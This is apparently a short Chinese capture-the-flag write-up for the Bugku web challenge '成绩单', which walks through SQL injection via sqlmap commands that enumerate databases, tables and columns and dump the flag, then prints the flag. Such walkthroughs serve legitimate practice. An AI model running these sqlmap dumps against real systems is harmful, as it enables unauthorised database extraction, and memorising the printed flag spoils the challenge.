bugku-web-成绩单

2020-02-03

alt

も一度~

alt

随便输几个试试

alt

应该是SQL注入

先用burp抓个包

alt

保存到本地文件后，使用sqlmap工具爆库

先输入

sqlmap.py -r "D:\1.txt" -id --dbs

-r是读文件,引号内是刚刚数据包保存文件的路径，-p是参数名，可以在数据包中看到， –dbs意思是想获取数据库名字

alt

出来两个库

alt

再输入sqlmap.py -r "D:\1.txt" -D skctf_flag -p id --tables获取表名

得到两个表

alt

再输入sqlmap.py -r "D:\1.txt" -D skctf_flag -T fl4g -p id --columns获取列名

alt

再输入sqlmap.py -r "D:\1.txt" -D skctf_flag -T fl4g -C skctf_flag -p id --dump得到flag

alt

BUGKU{Sql_INJECT0N_4813drd8hz4}